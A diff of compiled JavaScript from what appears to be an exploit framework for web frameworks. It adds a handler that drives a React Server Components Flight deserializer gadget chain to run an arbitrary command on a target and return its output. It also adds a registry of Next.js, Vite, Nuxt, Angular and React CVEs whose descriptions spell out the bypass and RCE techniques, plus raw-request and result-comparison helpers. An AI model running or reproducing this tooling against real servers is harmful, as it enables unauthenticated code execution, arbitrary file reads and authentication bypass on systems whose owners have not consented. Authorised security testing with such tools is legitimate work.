+ return rawRequest(ctx.baseUrl, {
79
+ method: "POST",
80
+ timeout: ctx.timeout,
81
+ signal: ctx.signal,
82
+ headers: buildRscHeaders(),
83
+ // Field "1" must be the JSON string reference `"$@0"` (including its quotes), not the
84
+ // bare identifier — this is how Flight's reply format spells "resolve to chunk 0".
85
+ body: buildMultipartBody({ "0": buildGadgetChunk(jsBody), "1": '"$@0"' }),
86
+ });
87
+ });
88
+ const result = yield runSandboxRceProof({
89
+ sendStage1: (cmd) => __awaiter(void 0, void 0, void 0, function* () {
90
+ yield sendGadget(stage1Js(cmd));
91
+ }),
92
+ sendStage2: () => __awaiter(void 0, void 0, void 0, function* () {
93
+ const resp = yield sendGadget(stage2Js);
94
+ // The thrown error surfaces via Express's default error page, typically a 500 —
95
+ // don't gate on status, gate on whether a <pre> error body was actually returned.
96
+ if (!resp)
97
+ return null;
98
+ return extractErrorMessage(resp.body);
99
+ }),
100
+ }, ctx.execCmd);
101
+ if (result.succeeded) {
102
+ return {
103
+ vulnerable: true,
104
+ evidence: `React Flight deserializer RCE confirmed. Command "${ctx.execCmd}" output: ${result.output}`,
105
+ discoveredUrls: [],
106
+ rawFindingExtras: { execOutput: result.output },
107
+ };
108
+ }
109
+ return {
110
+ vulnerable: false,
111
+ evidence: "Flight gadget-chain RCE proof did not succeed (patched, not an RSC endpoint, or runtime precondition — Express 5 + --conditions react-server — unmet).",
112
+ discoveredUrls: [],
113
+ };
114
+ });
115
+ export default cve202555182;
116
+ //# sourceMappingURL=cve-2025-55182.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"cve-2025-55182.js","sourceRoot":"","sources":["../../../src/exploit/react/cve-2025-55182.ts"],"names":[],"mappings":"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"}
@@ -0,0 +1,115 @@
1
+ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
2
+ function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
3
+ return new (P || (P = Promise))(function (resolve, reject) {
4
+ function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
5
+ function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
6
+ function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
7
+ step((generator = generator.apply(thisArg, _arguments || [])).next());
8
+ });
9
+ };
10
+ export const CVE_REGISTRY = Object.freeze([
11
+ Object.freeze({
12
+ id: "CVE-2025-29927",
13
+ commonName: "Next.js middleware authorization bypass",
14
+ framework: "next",
15
+ description: "The x-middleware-subrequest header (repeated 5x, matching MAX_RECURSION_DEPTH) causes Next.js's middleware sandbox to skip execution entirely, bypassing any auth/redirect logic implemented in middleware.ts.",
16
+ vulnerableRanges: ["<12.3.5", "<13.5.9", "<14.2.25", "<15.2.3"],
17
+ requiresLiveTarget: true,
18
+ handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../next/cve-2025-29927.js")).default; }),
19
+ }),
20
+ Object.freeze({
21
+ id: "CVE-2026-64645",
22
+ commonName: "Next.js rewrites() dynamic destination SSRF",
23
+ framework: "next",
24
+ description: "A next.config rewrites() rule with a dynamic capture-group destination hostname can be redirected to an internal service, reflecting its response through the public origin (reflected SSRF).",
25
+ vulnerableRanges: ["12.0.0-15.5.20", "16.0.0-16.2.10"],
26
+ requiresLiveTarget: true,
27
+ handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../next/cve-2026-64645.js")).default; }),
28
+ }),
29
+ Object.freeze({
30
+ id: "CVE-2025-30208",
31
+ commonName: "Vite server.fs.deny bypass (double query-mark)",
32
+ framework: "vite",
33
+ description: "A trailing double '?' on a /@fs/ request (e.g. ?import&raw??) defeats Vite dev server's fs.deny path filter, allowing arbitrary file reads outside the project root.",
34
+ vulnerableRanges: ["<=4.5.9", "5.0.0-5.4.14", "6.0.0-6.0.11", "6.1.0-6.1.1", "6.2.0-6.2.2"],
35
+ requiresLiveTarget: true,
36
+ handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../vite/cve-2025-30208.js")).default; }),
37
+ }),
38
+ Object.freeze({
39
+ id: "CVE-2026-39363",
40
+ commonName: "Vite WebSocket fetchModule fs.deny bypass",
41
+ framework: "vite",
42
+ description: "Vite's vite-hmr WebSocket RPC exposes a fetchModule invoke that never applies the server.fs allow/deny checks the HTTP /@fs/ endpoint enforces, allowing arbitrary file reads over the HMR socket.",
43
+ vulnerableRanges: ["6.0.0-6.4.1", "7.0.0-7.3.1", "8.0.0-8.0.4"],
44
+ requiresLiveTarget: true,
45
+ handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../vite/cve-2026-39363.js")).default; }),
46
+ }),
47
+ Object.freeze({
48
+ id: "CVE-2026-71320",
49
+ commonName: "Nuxt Server Island template injection RCE",
50
+ framework: "nuxt",
51
+ description: "A crafted 'as.template' prop on a /__nuxt_island/ request is compiled by Vue's SSR runtime template compiler, allowing a sandbox escape ('a'.constructor.constructor(...)) into full Node.js RCE.",
52
+ vulnerableRanges: ["<4.5.1"],
53
+ requiresLiveTarget: true,
54
+ handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../nuxt/cve-2026-71320.js")).default; }),
55
+ }),
56
+ Object.freeze({
57
+ id: "CVE-2026-71315",
58
+ commonName: "Nuxt route-rule casing middleware bypass",
59
+ framework: "nuxt",
60
+ description: "An uppercase-containing routeRules key never matches at any request casing because the lookup path is lowercased but the compiled rule key isn't, silently dropping the route's appMiddleware auth gate.",
61
+ vulnerableRanges: ["unspecified (regression of CVE-2026-53721's fix)"],
62
+ requiresLiveTarget: true,
63
+ handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../nuxt/cve-2026-71315.js")).default; }),
64
+ }),
65
+ Object.freeze({
66
+ id: "CVE-2026-53721",
67
+ commonName: "Nuxt route-rule casing middleware bypass (original)",
68
+ framework: "nuxt",
69
+ description: "Original disclosure of the route-rule casing mismatch middleware bypass later regressed by CVE-2026-71315; same exploitation mechanism, same handler.",
70
+ vulnerableRanges: ["unspecified"],
71
+ requiresLiveTarget: true,
72
+ handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../nuxt/cve-2026-71315.js")).default; }),
73
+ }),
74
+ Object.freeze({
75
+ id: "CVE-2026-68945",
76
+ commonName: "Angular HttpTransferCache key collision",
77
+ framework: "angular",
78
+ description: "HttpTransferCache's cache-key builder joins repeated query params with Array.prototype.join(','), so ?tag=a&tag=b and ?tag=a,b collide to the same cache entry, letting one request's cached response leak to a different query shape.",
79
+ vulnerableRanges: ["19.x (unfixed for entire line)", "<20.3.27", "<21.2.19", "<22.0.2"],
80
+ requiresLiveTarget: true,
81
+ handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../angular/cve-2026-68945.js")).default; }),
82
+ }),
83
+ Object.freeze({
84
+ id: "CVE-2025-55182",
85
+ commonName: 'React Server Components Flight deserializer RCE ("React2Shell")',
86
+ framework: "react",
87
+ description: "React's Flight reply deserializer walks attacker-supplied property paths without an own-property guard, reaching Function.prototype.constructor via a __proto__ gadget chain for unauthenticated RCE. Requires Express 5 + node --conditions react-server on the target.",
88
+ vulnerableRanges: [
89
+ "react-server-dom-webpack/-parcel/-turbopack 19.0.0/19.1.0/19.1.1/19.2.0",
90
+ "Next.js 14.3.0-canary.77+/15.x/16.x (bundled React)",
91
+ ],
92
+ requiresLiveTarget: true,
93
+ handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../react/cve-2025-55182.js")).default; }),
94
+ }),
95
+ ]);
96
+ export const findCveMetadata = (cveId) => CVE_REGISTRY.find((cve) => cve.id.toLowerCase() === cveId.trim().toLowerCase());
97
+ /** Grouped by framework (alphabetical), sorted by CVE ID within each group — the shape --list-cve prints. */
98
+ export const groupedByFramework = () => {
99
+ var _a, _b;
100
+ const groups = new Map();
101
+ for (const cve of CVE_REGISTRY) {
102
+ const list = (_a = groups.get(cve.framework)) !== null && _a !== void 0 ? _a : [];
103
+ list.push(cve);
104
+ groups.set(cve.framework, list);
105
+ }
106
+ const sortedFrameworks = Array.from(groups.keys()).sort();
107
+ const result = new Map();
108
+ for (const framework of sortedFrameworks) {
109
+ const list = [...((_b = groups.get(framework)) !== null && _b !== void 0 ? _b : [])].sort((a, b) => a.id.localeCompare(b.id));
110
+ result.set(framework, Object.freeze(list));
111
+ }
112
+ return result;
113
+ };
114
+ export default CVE_REGISTRY;
115
+ //# sourceMappingURL=cveRegistry.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"cveRegistry.js","sourceRoot":"","sources":["../../../src/exploit/registry/cveRegistry.ts"],"names":[],"mappings":"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"}
@@ -0,0 +1,2 @@
1
+ export {};
2
+ //# sourceMappingURL=types.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"types.js","sourceRoot":"","sources":["../../src/exploit/types.ts"],"names":[],"mappings":""}
@@ -0,0 +1,29 @@
1
+ const isSuccessStatus = (status) => status >= 200 && status < 300;
2
+ /**
3
+ * Pure baseline-vs-payload response comparator. No I/O — every exploit handler makes both
4
+ * requests itself (via rawRequest.ts) and passes the raw status/headers/body pairs in here.
5
+ *
6
+ * `markers`, when given, are substrings expected to appear only in a successful payload response
7
+ * (e.g. a leaked marker string, file-content signature). `becameSuccessful` requires the status to
8
+ * have moved from a blocked/redirect/error shape to 2xx AND (when markers are given) at least one
9
+ * marker to be newly present — status change alone is not proof for exploits whose payload
10
+ * response can also legitimately redirect/error for unrelated reasons.
11
+ */
12
+ export const diffResponses = (baseline, payload, markers) => {
13
+ const statusChanged = baseline.status !== payload.status;
14
+ const newlyContains = (markers !== null && markers !== void 0 ? markers : []).filter((marker) => payload.body.includes(marker) && !baseline.body.includes(marker));
15
+ const bodyLengthDelta = payload.body.length - baseline.body.length;
16
+ const baselineWasBlocked = !isSuccessStatus(baseline.status);
17
+ const payloadIsSuccessful = isSuccessStatus(payload.status);
18
+ const becameSuccessful = baselineWasBlocked &&
19
+ payloadIsSuccessful &&
20
+ (markers === undefined || markers.length === 0 || newlyContains.length > 0);
21
+ return {
22
+ statusChanged,
23
+ newlyContains: Object.freeze(newlyContains),
24
+ bodyLengthDelta,
25
+ becameSuccessful,
26
+ };
27
+ };
28
+ export default diffResponses;
29
+ //# sourceMappingURL=compareResponses.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"compareResponses.js","sourceRoot":"","sources":["../../../src/exploit/utility/compareResponses.ts"],"names":[],"mappings":"AAcA,MAAM,eAAe,GAAG,CAAC,MAAc,EAAW,EAAE,CAAC,MAAM,IAAI,GAAG,IAAI,MAAM,GAAG,GAAG,CAAC;AAEnF;;;;;;;;;GASG;AACH,MAAM,CAAC,MAAM,aAAa,GAAG,CACzB,QAA4B,EAC5B,OAA2B,EAC3B,OAA2B,EACf,EAAE;IACd,MAAM,aAAa,GAAG,QAAQ,CAAC,MAAM,KAAK,OAAO,CAAC,MAAM,CAAC;IACzD,MAAM,aAAa,GAAG,CAAC,OAAO,aAAP,OAAO,cAAP,OAAO,GAAI,EAAE,CAAC,CAAC,MAAM,CACxC,CAAC,MAAM,EAAE,EAAE,CAAC,OAAO,CAAC,IAAI,CAAC,QAAQ,CAAC,MAAM,CAAC,IAAI,CAAC,QAAQ,CAAC,IAAI,CAAC,QAAQ,CAAC,MAAM,CAAC,CAC/E,CAAC;IACF,MAAM,eAAe,GAAG,OAAO,CAAC,IAAI,CAAC,MAAM,GAAG,QAAQ,CAAC,IAAI,CAAC,MAAM,CAAC;IAEnE,MAAM,kBAAkB,GAAG,CAAC,eAAe,CAAC,QAAQ,CAAC,MAAM,CAAC,CAAC;IAC7D,MAAM,mBAAmB,GAAG,eAAe,CAAC,OAAO,CAAC,MAAM,CAAC,CAAC;IAC5D,MAAM,gBAAgB,GAClB,kBAAkB;QAClB,mBAAmB;QACnB,CAAC,OAAO,KAAK,SAAS,IAAI,OAAO,CAAC,MAAM,KAAK,CAAC,IAAI,aAAa,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC;IAEhF,OAAO;QACH,aAAa;QACb,aAAa,EAAE,MAAM,CAAC,MAAM,CAAC,aAAa,CAAC;QAC3C,eAAe;QACf,gBAAgB;KACnB,CAAC;AACN,CAAC,CAAC;AAEF,eAAe,aAAa,CAAC"}
@@ -0,0 +1,22 @@
1
+ import fs from "fs";
2
+ import { printMsg, MSG } from "../../utility/printMsg.js";
3
+ export const toExploitFinding = (cveId, commonName, framework, target, outcome) => {
4
+ var _a;
5
+ return ({
6
+ cveId,
7
+ commonName,
8
+ framework,
9
+ target,
10
+ timestamp: new Date().toISOString(),
11
+ vulnerable: outcome.vulnerable,
12
+ evidence: outcome.evidence,
13
+ discoveredUrls: outcome.discoveredUrls,
14
+ execOutput: typeof ((_a = outcome.rawFindingExtras) === null || _a === void 0 ? void 0 : _a.execOutput) === "string" ? outcome.rawFindingExtras.execOutput : undefined,
15
+ });
16
+ };
17
+ export const generateExploitOutput = (outputFile, findings) => {
18
+ printMsg(MSG.Header, "[i] Generating exploit output...");
19
+ fs.writeFileSync(outputFile, JSON.stringify(findings, null, 2));
20
+ printMsg(MSG.Run, "[✓] Exploit output generated successfully.");
21
+ };
22
+ //# sourceMappingURL=outputHelper.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"outputHelper.js","sourceRoot":"","sources":["../../../src/exploit/utility/outputHelper.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,IAAI,CAAC;AACpB,OAAO,EAAE,QAAQ,EAAE,GAAG,EAAE,MAAM,2BAA2B,CAAC;AAoB1D,MAAM,CAAC,MAAM,gBAAgB,GAAG,CAC5B,KAAa,EACb,UAAkB,EAClB,SAA2B,EAC3B,MAAc,EACd,OAAuB,EACT,EAAE;;IAAC,OAAA,CAAC;QAClB,KAAK;QACL,UAAU;QACV,SAAS;QACT,MAAM;QACN,SAAS,EAAE,IAAI,IAAI,EAAE,CAAC,WAAW,EAAE;QACnC,UAAU,EAAE,OAAO,CAAC,UAAU;QAC9B,QAAQ,EAAE,OAAO,CAAC,QAAQ;QAC1B,cAAc,EAAE,OAAO,CAAC,cAAc;QACtC,UAAU,EACN,OAAO,CAAA,MAAA,OAAO,CAAC,gBAAgB,0CAAE,UAAU,CAAA,KAAK,QAAQ,CAAC,CAAC,CAAC,OAAO,CAAC,gBAAgB,CAAC,UAAU,CAAC,CAAC,CAAC,SAAS;KACjH,CAAC,CAAA;CAAA,CAAC;AAEH,MAAM,CAAC,MAAM,qBAAqB,GAAG,CAAC,UAAkB,EAAE,QAA0B,EAAQ,EAAE;IAC1F,QAAQ,CAAC,GAAG,CAAC,MAAM,EAAE,kCAAkC,CAAC,CAAC;IACzD,EAAE,CAAC,aAAa,CAAC,UAAU,EAAE,IAAI,CAAC,SAAS,CAAC,QAAQ,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC,CAAC;IAChE,QAAQ,CAAC,GAAG,CAAC,GAAG,EAAE,4CAA4C,CAAC,CAAC;AACpE,CAAC,CAAC"}
@@ -0,0 +1,54 @@
1
+ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
2
+ function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
3
+ return new (P || (P = Promise))(function (resolve, reject) {
4
+ function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
5
+ function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
6
+ function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
7
+ step((generator = generator.apply(thisArg, _arguments || [])).next());
8
+ });
9
+ };
10
+ import { withActiveProxyDispatcher } from "../../utility/makeReq.js";
11
+ import { progressError } from "../../utility/progressLog.js";
12
+ /**
13
+ * Raw fetch helper for the `exploit` module — a sibling to `../../utility/makeReq.ts`, not a
14
+ * modification of it. `makeRequest` silently discards non-2xx and WAF/CDN-shaped responses and
15
+ * caches to disk; exploit probes need the raw non-2xx baseline (redirects, 403s), exact bytes with
16
+ * no caching, and manual redirect handling so a 307 from a bypassed middleware check is observable
17
+ * as a status code rather than being silently followed.
18
+ *
19
+ * Returns null only on network-level failure (DNS, connection refused, timeout) — never throws for
20
+ * non-2xx responses.
21
+ */
22
+ export const rawRequest = (url, opts) => __awaiter(void 0, void 0, void 0, function* () {
23
+ try {
24
+ return yield withActiveProxyDispatcher((dispatcherOpts) => __awaiter(void 0, void 0, void 0, function* () {
25
+ var _a;
26
+ const timeoutController = new AbortController();
27
+ const timeoutId = setTimeout(() => timeoutController.abort(), opts.timeout);
28
+ const signals = opts.signal ? [opts.signal, timeoutController.signal] : [timeoutController.signal];
29
+ try {
30
